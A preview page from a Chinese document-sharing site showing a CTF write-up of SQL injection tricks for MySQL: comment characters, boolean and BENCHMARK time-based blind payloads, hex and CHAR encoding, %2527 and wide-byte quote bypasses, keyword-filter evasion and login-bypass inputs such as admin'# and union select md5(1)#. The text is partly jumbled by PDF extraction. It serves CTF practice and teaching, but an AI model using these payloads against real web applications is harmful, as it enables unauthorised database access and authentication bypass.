ctf中sql注入下的一些小技巧_第1页
ctf中sql注入下的一些小技巧_第2页
ctf中sql注入下的一些小技巧_第3页
ctf中sql注入下的一些小技巧_第4页
ctf中sql注入下的一些小技巧_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、ctf中sql注入下的一些小技巧注释符以下是Mysql中可以用到的单行注释符:# - -(需要在-后面留一个空格,因为有的浏览器默认会把空格过滤掉所以在空格后加一些东西无影响);%00以下是Mysql中可以用到的多行注释符(mysql下需要闭合):/*判断当前库是否有字段名对于CTF中的题,某些可以直接判断有无flag表1 or(flag)例如:全表用or试一下这里解释一下为什么or的结果为什么不全,说白了也就是atoi函数的特性or(列名)其实是遍历字段名中的每个值然后选取那些不为false的内容,因为在mysql中ssdd字符串默认等于0等于false所以不显示,而4ddf这样的字符串默认

2、等于4,也就是true也就会返回了,而pupil是因为number=1所以也返回limit下的字段数判断众所周知where条件下的字段数可以用order by判断,而limit后可以利用 1,into , (为字段数)判断字段数为mysql临时变量,or条件下的回显以前总是对where id='1' or '1'='1'和where id='0' or '1'='1'的回显一直不是很了解,所以今天搭建环境测试了一下,如下可见所以猜测在or条件下前后如果都为真则返回所有结果,否则只

3、返回条件为真的一方的值concat与concat_ws与group_concat1.2 MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULLmysql> select concat('11','22',null);+-+| concat('11','22',null) |+-+| NULL |+-+1 row in set (0.00 sec)和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULLmysql> select concat_ws

4、(',','11','22',NULL);+-+| concat_ws(',','11','22',NULL) |+-+| 11,22 |+-+1 row in set (0.00 sec)盲注下的条件语句和时间函数这是我前几天刷wechall碰到的题,例如一下注入语句select * from test1 where id='$_GETid'已知没有回显位,id=3和id=1返回结果不一样并且过滤了,空格,等等一堆关键词,不存在宽字节注入给个B师傅当时的payloadif(subs

5、tr(flag,1,1)in(0x41),3,0)写个脚本爆破之可得flag而基于时间的注入以前都是一直用的if(xxxxxx,1,sleep(2);最也发现了一个更好的函数BENCHMARKIF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1'), 1)BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果绕过被过滤hex编码SELECT password FROM Users WHERE username = 0x61646D696Echar编码SELECT FROM Users WHERE u

6、sername = CHAR(97, 100, 109, 105, 110)html实体字符编码SELECT FROM Users WHERE username = 'admin'%2527这里主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。宽字节就不说了gbk编码在单引号前面加一个%df即可表名等关键字被过滤以information_schema.tables为例空格 information_schema . tables着重号 information&l

7、t;/em>schema.tables特殊符 /!informationschema.tables/别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)表单认证绕过这里选两题一题是实验吧的web分类第一题"SELECT username FROM users WHERE username='$username' AND password='$password'"这样的直接username=admin&#

8、39;#即可,或者username='='&password='='这样就能构造出"SELECT username FROM users WHERE username=''='' AND password=''=''"所以逻辑判断绕过第二题是iscc的简单注入,猜测大致后台语句如下,PS:后台密码是md5处理过的$results = SELECT password FROM users WHERE username='$username'if($resul

9、ts=$_GET$password) getflag();这里可以构造username=0' union select md5(1)#&password=1陕西省网络空间安全(xor绕过)过滤了/ |*|#|;|,|is|union|like|regexp|for|and|or|file|-|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d').

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论